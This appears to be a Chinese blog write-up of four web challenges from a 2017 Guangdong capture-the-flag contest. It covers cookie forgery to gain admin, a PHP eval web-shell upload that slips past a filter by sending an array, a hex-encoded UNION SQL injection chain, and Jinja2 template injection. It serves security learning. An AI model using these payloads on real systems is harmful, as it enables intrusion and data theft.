2017第二届广东省强网杯线上赛题 web WriteUp

小灰灰 2022-04-25 05:38 163阅读 0赞

broken（JSfuck）

who are you?（数组形式实现文件读写）

phone number（转十六进制的SQL注入）

Musee de X（jinja2模板注入）

--------------------

# broken（JSfuck） #

**题目地址：[http://106.75.72.168:1111/][http_106.75.72.168_1111]**

看到这种字符，一般复制到浏览器控制台运行即可。

末尾加“\]”提示语法错误，于是删除最后的“()”，在加上“\]”，运行结果为“Array \[ Array\[1\] \]”。

点击“Array\[1\]”即可看到flag。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70][]

--------------------

# who are you?（数组形式实现文件读写） #

**题目地址：[http://106.75.72.168:2222/][http_106.75.72.168_2222]**

查询页面没有什么特别的，于是查看一下Cookie: role=*Zjo1OiJ0aHJmZyI7*，Base64解密得到 f:5:"thrfg";

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 1][]

thrfg也是ROT13加密过的，ROT13是凯撒加密的一种变体，我们解密后得到guest。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 2][]

尝试将admin进行凯撒加密，然后Base64加密，得到*Zyl7Zjo1OiJucXp2YSI7。*

**将cookie值修改为这个，得到：**

![20190506095818812.png][]

**页面源代码：**

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 3][]

如果直接输入`filename=1.php&data=<?=eval($_POST['pass']);?>`页面会报错"No No No!"。

Tips：写入文件除了fopen fwrite fclose 还有一种 file\_put\_contents ，这个允许数据是数组（可绕过一些文件内容特征检测）

因此我们可以用data\[\]=的方法，把data从字符串变成数组，可以绕过可能存在的正则匹配的过滤。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 4][]

**Payload：**

http://106.75.72.168:2222/
    [POST]filename=123.php&data[]=<?=eval($_POST['pass']);>

![20190506103437929.png][]

得到flag。

--------------------

# phone number（转十六进制的SQL注入） #

**题目地址：[http://106.75.72.168:3333][http_106.75.72.168_3333]**

**这是一个登录注册的页面。。。**

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 5][]![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 6][]

**尝试注册一下用户，登陆后，查看源码，http请求，路径。。。**无果

最后在检查手机号使用人数的 check.php 页面源码找到一个注释：

![20190507093328233.png][]

**猜测大概是SQL注入。**

从电话藏着秘密这句话猜测，注入点大概是phone。

只有注册页面有phone传参，从注册页面抓包，尝试注入。。。

在 登录后的页面 和 check的页面 可以看到返显。。。

phone处只能输入数字，所以可以将sql语句用小葵转化为16进制再注入。。

**测试字段数：**

1 order by 1
    1 order by 2 报错

当 order by 2 时报错，说明只有1个字段。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 7][]

![2019050711242856.png][]

**SQL语句：**

-1 union select database()
    -1 union select group_concat(schema_name) from information_schema.schemata
    -1 union select group_concat(table_name)  from information_schema.tables where table_schema='webdb'
    -1 union select group_concat(column_name) from information_schema.columns where table_name='user'
    -1 union select phone from user where username='admin'

**转十六进制：**

0x2D3120756E696F6E2073656C6563742064617461626173652829
    0x2D3120756E696F6E2073656C6563742067726F75705F636F6E63617428736368656D615F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E736368656D617461
    0x2D3120756E696F6E2073656C6563742067726F75705F636F6E636174287461626C655F6E616D6529202066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C657320776
    0x2D3120756E696F6E2073656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F6E616D653D277573657227
    0x2D3120756E696F6E2073656C6563742070686F6E652066726F6D207573657220776865726520757365726E616D653D2761646D696E27

**最后爆出flag：**

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 8][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 9][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 10][]

**总结：**

1、注入点只能是数字格式时，我们可以把sql语句转换成16进制再注入

2、跟数据库有联系的地方都可能存在注入，比如注册页面

--------------------

# Musee de X（jinja2模板注入） #

**题目地址：[http://106.75.72.168:8888/][http_106.75.72.168_8888]**

首先按照正常流程走一遍：注册、登陆、捐献，然后捐献的时候网址是随意填的，报错，分析报错信息得出这是个jinja2模板，并且用户名被带入 Template(text).render() 中进行渲染，因此基本能确定这是个jinja2模板注入。

然后攻击思路基本能确定了，注册用户名，然后将用户名带入donate操作，触发jinja2模板注入。

注意要求 注册的用户名 和 捐献时的用户名 是一样的。

### **大致流程：** ###

**注册：**

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 11][]

**注册成功后的返显：**

![20190507203723701.png][]

**访问这个路径：**

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 12][]

**转到捐献页面donate.php：**

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 13][]

**准备一个黑色图片，方便看到flag，填入捐献地址：**

http://pic4.bbzhi.com/jingxuanbizhi/heisediannaozhuomianbizhixiazai/heisediannaozhuomianbizhixiazai_362061_5.jpg

**再填上你的用户名，提交：**

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 14][]

**得到flag。**

### 关于SSTI模板注入的三篇文章： ###

**讲了模板的语法和模板注入比较基础的东西，相对容易理解：**

**[https://blog.csdn.net/u011377996/article/details/86776181][https_blog.csdn.net_u011377996_article_details_86776181]**

**由一道CTF题展开讲解：**

**[https://blog.csdn.net/qq\_40827990/article/details/82940894][https_blog.csdn.net_qq_40827990_article_details_82940894]**

**模板注入思路总结：**

**[https://www.freebuf.com/vuls/162752.html?replytocom=242609\#respond][https_www.freebuf.com_vuls_162752.html_replytocom_242609_respond]**

[http_106.75.72.168_1111]: http://106.75.72.168:1111/
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70]: /images/20220205/a1918ea8834b42d3b1d78550c49ac545.png
[http_106.75.72.168_2222]: http://106.75.72.168:2222/
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 1]: /images/20220205/68f24044af754d39bb18e74c84aff0cc.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 2]: /images/20220205/6181671ba11042b7930f758fb39806f6.png
[20190506095818812.png]: /images/20220205/ff65e25d4bd24016812871255aed843f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 3]: /images/20220205/26aa9d0ae02143bbaf6cbe262241dac5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 4]: /images/20220205/124ec0fd83a644caaa2bcd8a2c9dd5b0.png
[20190506103437929.png]: /images/20220205/ae885af52fd6431085bbcc36a8255216.png
[http_106.75.72.168_3333]: http://106.75.72.168:3333
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 5]: https://img-blog.csdnimg.cn/20190507092736663.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY=,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 6]: /images/20220205/ac0cc2051315412697659b369be5fa97.png
[20190507093328233.png]: /images/20220205/ce7cdc9a920e4b56a44eaadcbbfcab99.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 7]: /images/20220205/71a521f468674921af89fb1cf70a11fa.png
[2019050711242856.png]: /images/20220205/86ffe8e79a6f4e0cbd0c655cfcb86772.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 8]: /images/20220205/440e339eebb547249e636ec3a51e8eda.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 9]: /images/20220205/5ba2e46867ee40e0b5f0ff2206057cbb.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 10]: /images/20220205/20bb56e8b2fa4e98b3f080a2d9d34a05.png
[http_106.75.72.168_8888]: http://106.75.72.168:8888/
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 11]: /images/20220205/d156bbe34ddb46aca84082b03a514ad3.png
[20190507203723701.png]: /images/20220205/cfd1ad8bd49f4a44aa281f5374891a3e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 12]: /images/20220205/ba02e76e2a11446495b7ebaa4bf7e55b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 13]: /images/20220205/f01acb9e1aac443ebba4fa7e4c5ea354.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2R5d182NjY2NjY_size_16_color_FFFFFF_t_70 14]: /images/20220205/148666382eb2464f98c6d3c33a3b0001.png
[https_blog.csdn.net_u011377996_article_details_86776181]: https://blog.csdn.net/u011377996/article/details/86776181
[https_blog.csdn.net_qq_40827990_article_details_82940894]: https://blog.csdn.net/qq_40827990/article/details/82940894
[https_www.freebuf.com_vuls_162752.html_replytocom_242609_respond]: https://www.freebuf.com/vuls/162752.html?replytocom=242609#respond